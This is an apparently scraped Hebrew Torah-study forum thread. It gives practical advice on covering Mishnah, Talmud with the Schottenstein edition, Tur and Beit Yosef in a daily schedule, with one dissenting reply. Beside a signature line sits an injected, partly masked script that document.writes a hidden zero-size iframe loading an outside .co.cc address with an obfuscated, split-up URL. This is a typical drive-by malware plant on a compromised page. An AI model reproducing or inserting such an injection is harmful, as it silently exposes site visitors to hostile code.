המשך למסגרת הישיבתית-ליטאית

קצת מנסיון
קשה ללמוד כשעייפים, פיזית או מנטלית, נוטים לחפף או להרדם.
מי שמסוגל ללמוד באשמורת הבקר, מה טוב, אך לא תמיד זה אפשרי. אם לא כדאי לנסות ללמוד תוך כדי כתיבה, וכווארט הידוע "קנה ׁ(בקמץ וסגול) לך חבר". הכתיבה מעוררת ומחייבת לסכם ולהבהיר.

בעל  
ומאידך צריך להזהר על,,השמר לך פן [עט בלעז] 

אח רחוק

לאחר קריאת כל הודעתך, אני מבין שהשאלה מופיעה בסוף ואינה קשורה בהכרח לנושאים הקודמים, כמו איך לומדים בישיבות היום והיכן. השאלה היא איך לומדים טוב לא במסגרת ישיבתית, אלא לאחר רקע ישיבתי.

זה תלוי כמובן גם במטרת הלימוד.

אבל אוכל להציע קוים מנחים כלליים.

א. הכרת החומר. יש לקבוע סדר קבוע בלימוד כל ששה סדרי משנה, ודווקא עם פירוש קהתי (או אלבק, כפי שהעירני חבר פורום באישי, אבל קהתי נוח יותר לדעתי). יש ללמוד לפי הנוחיות, כלומר נזיקין ומועד ונשים, ואחר כך קודשים, זרעים וטהרות. לאחר ידיעות במשניות לימוד הגמרא הופך לקל יותר כי יש ידע מוקדם.

ב. ללמוד עם שוטנשטיין (אפשר גם אחת הגמרות האחרות עם פירוש משלים). הוצאה זו משלימה את הרקע כדי להבין מה הקושיה ומה התירוץ.

ג. בתחומים שהם הלכה למעשה כדאי לעיין, לפי מה שמספיק הזמן, בטור עם ב"י ובשו"ע. זה לא לוקח כה הרבה זמן כפי שזה נראה אם לומדים רק את מה ששייך לסוגיה הנוכחית.

ד. לדעתי כדאי גם ללמוד רמב"ם על הסוגיות, כלומר לפי המצויין בצד הדף (עין משפט נר מצוה).

ה. לא ללמוד תוספות!

ו. אין צורך ללמוד ראשונים נוספים כלל. אבל מי שחש צורך ומתגעגע, אזי במקום תוספות, או אפילו ראשונים אחרים, ללמוד רא"ש. אם אין רא"ש, אז מאירי. שימו לב שתוספת זו תעלה בשעה של לימוד לפחות נוספת ליום. בוודאי שכל המוסיף מוסיפים לו, אבל השאלה היתה לגבי מי שטרוד בפרנסתו. התוכנית המקורית נועדה לקחת עד שעתיים ליממה ולא יותר. כדאי לבאר מדוע זה ממש לא חשוב היום ללמוד עוד ראשונים, מעבר לאלו שהוזכרו כאן (שוטנשטיין מפרשים לפי רש"י, הצצה ברמב"ם מאפשרת לקבל תמונה איך למד הוא את הסוגיה, ועיון בב"י, למי שירצה ויספיק, יוסיף עוד פרשנויות).

וללמוד מהר בלי להתעכב יותר מדי. להבין, לסכם דינים העולים, מבנה הסוגיה, מה היתה הקושיה ומה היה התירוץ, ואם יש קושי שנותר לעיון, מה הקושי. ולהתקדם.

אם ביום מסויים לא עומדים בהספק, לכתוב זאת במחברת, ולהשלים כאשר זה מתאפשר. יש להקפיד על רישום של כל חוסר כדי לא לאבד את הרצף. תמיד יימצאו בהמשך ימים שבהם נלמדות סוגיות שנחשבות לקלות ואפשר לסיימן מהר ואז אפשר לחזור לעמודים החסרים ולהשלים. וגם את זה לרשום במחברת.

אם מקפידים על דף ליום, זה אומר ש"ס בשבע שנים. ואין צורך ללכת לחפש שיעור שלפעמים קשה או לא מובן או מרחיב מדי. אם כי יש גם שיעורים מצויינים וצריך רק לחפש מגיד שיעור שהינו תלמיד חכם בקיא בעל שיעור קומה ויכולת הסברה.

הזמן הדרוש לכל זה מגיע לבין שעה ורבע לשעתיים ביום, לא יותר. ניתן לחלק זאת בין הבוקר או אחרי הצהרים כשפחות עייפים לבין הלילה, שאז לומדים את המשניות. יש כמובן משניות קשות, אבל אליהן יגיעו רק לאחר שנתיים לפחות ובינתים ירכשו שוב יכולת הבנה, הכרות עם מבנה המשנה ועוד ועוד. וקהתי תמיד מסביר טוב.

התוצאות:

מסיימים ש"ס תוך שבע שנים. נכון שאין גבול ללימוד הש"ס, אבל יש הבדל עצום בין מי שעשה זאת ולמד נכון לבין מי שקנה כמה עמודים בכל מסכת ב"עיון". לדעתי, אין שום תועלת בניתוח מחלוקות בין הקצות לנתיבות וכל שכן לעיין באחרונים עליהם. במקרה הטוב זה משחק אינטלקטואלי. כמובן, מי שעושה זאת לשם מצות תלמוד תורה יש לו שכר, אבל לא במובן של העשרת הידע התורני. אני מוכן לדון ואשמח לראות אם יש הוכחות להפך.

מסיימים את כל סדרי משנה. הידע הנרכש הוא עצום ובא לידי ביטוי כמעט בכל סוגיה.

לומדים הלכות רבות כפי שהן נפסקו למעשה. הטור מביא את השיטות המרכזיות שנאמרו בכל סוגיה הלכה למעשה. הב"י מנתח את הסוגיות לרוב באופן פשטני הראוי ללימוד: כיצד מסכמים. (המסורת הישיבתית אומרת שהחזו"א המליץ על לימוד קבוע בבית יוסף כדי "ליישר את המחשבה". יש לדון במשתמע מהמלצה זו אבל לשם התחלה זה מצויין).

יש תחושה נפלאה של השגיות כאשר האדם יודע שלמד וקנה ידע. למעשה, לדעתי אם האדם ילמד נכון, הוא יהיה תלמיד חכם (באחד המובנים המקובלים של מונח זה) תוך כמה שנים.

ולימוד תורה משפיע על האדם בכל מיני רמות, מעניק לו ערכים ופרופורציות וגם מזכיר לו שהוא אינו מן ההמון ההולך אחר תאוות ליבו אלא אחרי העיון התורני - וזה משפיע על האדם ועל סביבתו ובשלב כלשהו, גם על משפחתו, ילדיו.

כתבתי ארוך אבל זה מעט מהרבה. אם יש צורך, אשתדל להוסיף ולפרט.


***
בתור שכר על העצה, אשמח אם מי שמיישם אותה יכתוב בפורום הערות העולות לו אגב לימודו. כיון שזה ייעשה בדרך הפורום, נרויח גם לימוד עיוני "רגיל", "ישיבתי" וגם נוכל לתרום לעיון מן הכלים הנוספים שבאים לידי ביטוי בפורום.

_________________הורחב סעיף ו' ונוספה עצה להשלמות אם מחסרים יום.

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

מיימוני
כנראה זה ענין של אופי והעדפה אישית. אני נרדם מלימוד שאתה מציע, לכן אני מעדיף לא פעם לימוד עיוני וסיכומי יותר כפי שתארתי למעלה.